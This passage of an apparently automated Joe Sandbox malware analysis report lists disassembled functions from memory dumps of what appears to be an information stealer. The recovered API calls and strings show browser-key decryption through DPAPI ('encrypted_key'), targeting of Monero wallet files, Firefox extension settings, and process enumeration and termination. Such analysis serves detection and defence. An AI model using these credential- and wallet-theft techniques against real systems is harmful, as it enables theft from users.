Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 96e46252852f7e68bb1b72765fe20c8edf5b8c67660739748d09aec4fba0a295
Instruction ID: 45d19c428392a369fac70dcddaa074a484131b273cb21eb045a671427a1b5d68
Opcode Fuzzy Hash: 96e46252852f7e68bb1b72765fe20c8edf5b8c67660739748d09aec4fba0a295
Instruction Fuzzy Hash: 00E08CB1A40208BFD700EB94EC0AE6977B8EB04702F000094FD0DD7280DAB59E04EB93

Function 003BA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0108A270,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 003BA3FF
lstrlen.KERNEL32(00000000), ref: 003BA6BC

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

DeleteFileA.KERNEL32(00000000), ref: 003BA743

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 89e22168bac585afaf29629372cbf581826e2380f19c22c2845c556ea331a733
Instruction ID: 45a04414fe58ab6e23db000ef5c58f42a0aea6b213400c2ccb8614039a16f658
Opcode Fuzzy Hash: 89e22168bac585afaf29629372cbf581826e2380f19c22c2845c556ea331a733
Instruction Fuzzy Hash: 71E1E97281060C9BCB16EBA4DC92FEE7738AF24304F50815DF516EA091EF346E09DB62

Function 003BD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0108A270,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BD481
lstrlen.KERNEL32(00000000), ref: 003BD698
lstrlen.KERNEL32(00000000), ref: 003BD6AC
DeleteFileA.KERNEL32(00000000), ref: 003BD72B

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ea189af2326d893e89717b926fac8e1e9646eeb19d577e6cd7a8b1b1df44c0fc
Instruction ID: a2349fd213a706ac3c828e9b21bd9d622de5ba841e1a3b936be68ed60a1c67ce
Opcode Fuzzy Hash: ea189af2326d893e89717b926fac8e1e9646eeb19d577e6cd7a8b1b1df44c0fc
Instruction Fuzzy Hash: EE91DA7291060C9BDB16EBA4DC96FEE7738AF14308F50416DF506EA091EF346E09DB62

Function 003BD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0108A270,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003BD801
lstrlen.KERNEL32(00000000), ref: 003BD99F
lstrlen.KERNEL32(00000000), ref: 003BD9B3
DeleteFileA.KERNEL32(00000000), ref: 003BDA32

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ce1c3df62e164ab89c21eba519cce1b68cd5d9d76cc6044fb9958d8ce220de39
Instruction ID: 253ac9c01c77773b389115077990a05e9d41a1f7c9906855fa44cff7bb934692
Opcode Fuzzy Hash: ce1c3df62e164ab89c21eba519cce1b68cd5d9d76cc6044fb9958d8ce220de39
Instruction Fuzzy Hash: CB81DB7291060C9BDB06FBA4DC96EEE7738AF14308F50452DF506EA091EF346E09DB62

Function 003BF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,003D1580,003D0D92), ref: 003BF54C
lstrlen.KERNEL32(00000000), ref: 003BF56B

Strings

moz-extension+++, xrefs: 003BF5AD
^userContextId=4294967295, xrefs: 003BF59C

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 4eba89760b74ce8f3e519a61d7652abb7368cb4ebec50d74dc58d61693737b9b
Instruction ID: 4ed6f56935f831d15694e7fefe7216654275f430f9b048c4611822ee298e9421
Opcode Fuzzy Hash: 4eba89760b74ce8f3e519a61d7652abb7368cb4ebec50d74dc58d61693737b9b
Instruction Fuzzy Hash: DA510071D0060CABDB05FBA0EC56EED7779AF54304F40852DF916AA191EE346E09CBA2

Function 003C3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 766415001a91a7c1041322abd82de20e1ed4c7a5826f38438da096e00fb4df61
Instruction ID: d112c58926c3b4ab20ece14d449257e0b984027b3b2fdce285412e3a84c4c4be
Opcode Fuzzy Hash: 766415001a91a7c1041322abd82de20e1ed4c7a5826f38438da096e00fb4df61
Instruction Fuzzy Hash: 95412FB1D10209ABCB05EFE4D885FEEB778AB54704F10841DE416BB290DB75AE05CFA2

Function 003B9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 003B9D39

Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9AEF
Part of subcall function 003B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,003B4EEE,00000000,?), ref: 003B9B01
Part of subcall function 003B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N;,00000000,00000000), ref: 003B9B2A
Part of subcall function 003B9AC0: LocalFree.KERNEL32(?,?,?,?,003B4EEE,00000000,?), ref: 003B9B3F

Part of subcall function 003B9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 003B9B84
Part of subcall function 003B9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 003B9BA3
Part of subcall function 003B9B60: LocalFree.KERNEL32(?), ref: 003B9BD3

Strings

"encrypted_key":", xrefs: 003B9D30
, xrefs: 003B9DC1
DPAPI, xrefs: 003B9D89

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 1ca5c59970e86133a65a94582ff68f30b7dac4aab32202ea31a67a0f662921e0
Instruction ID: 7a8166f738c2a8a50433b90bfe5bf7a47927040b409950bf6b15ae0b2a7d2816
Opcode Fuzzy Hash: 1ca5c59970e86133a65a94582ff68f30b7dac4aab32202ea31a67a0f662921e0
Instruction Fuzzy Hash: 2A31FEB6D1020DABDF15DBE4DC85FEEB7B8AB48308F14451AEB05A7241E7359A04CBA1

Function 003C94D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003C94EB

Part of subcall function 003C8D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,003C951E,00000000), ref: 003C8D5B
Part of subcall function 003C8D50: RtlAllocateHeap.NTDLL(00000000), ref: 003C8D62
Part of subcall function 003C8D50: wsprintfW.USER32 ref: 003C8D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 003C95AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 003C95C9
CloseHandle.KERNEL32(00000000), ref: 003C95D6

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: e53adff21416d4238c7ea474ce73c81d7ede4d392a7bdb815256a1864b222f2b
Instruction ID: 9df6da558f02dcb5d3649479d18ca5499956d16faa59e8c208a891ecd2c27ee9
Opcode Fuzzy Hash: e53adff21416d4238c7ea474ce73c81d7ede4d392a7bdb815256a1864b222f2b
Instruction Fuzzy Hash: 82311BB1E0120C9FDB15DBE0CD49FEDB778EB54300F104459E50AEA184DB78AE89DB52

Function 003C8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003D05B7), ref: 003C86CA
Process32First.KERNEL32(?,00000128), ref: 003C86DE
Process32Next.KERNEL32(?,00000128), ref: 003C86F3

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01088F58,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

CloseHandle.KERNEL32(?), ref: 003C8761

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050524.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730162551.0000000000A34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730178781.0000000000A35000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: c48630a78019bdc9835dca8b2b0a46fc49ecea198ea0cbc0405b44f2344575ea
Instruction ID: 309c1f561a85c6cfd6618800c09c82f851f31b100b83aa8be8b44db77f525d4f
Opcode Fuzzy Hash: c48630a78019bdc9835dca8b2b0a46fc49ecea198ea0cbc0405b44f2344575ea
Instruction Fuzzy Hash: E7315C71901618ABCB26EB50DC45FEEB778EF45704F10419DE50AE61A0DF346E45CFA2

Function 003C7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003D0E00,00000000,?), ref: 003C79B0
RtlAllocateHeap.NTDLL(00000000), ref: 003C79B7
GetLocalTime.KERNEL32(?,?,?,?,?,003D0E00,00000000,?), ref: 003C79C4
wsprintfA.USER32 ref: 003C79F3

Memory Dump Source

Source File: 00000000.00000002.1729604238.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.1729580808.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604238.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000790000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000889000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.0000000000892000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729779509.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
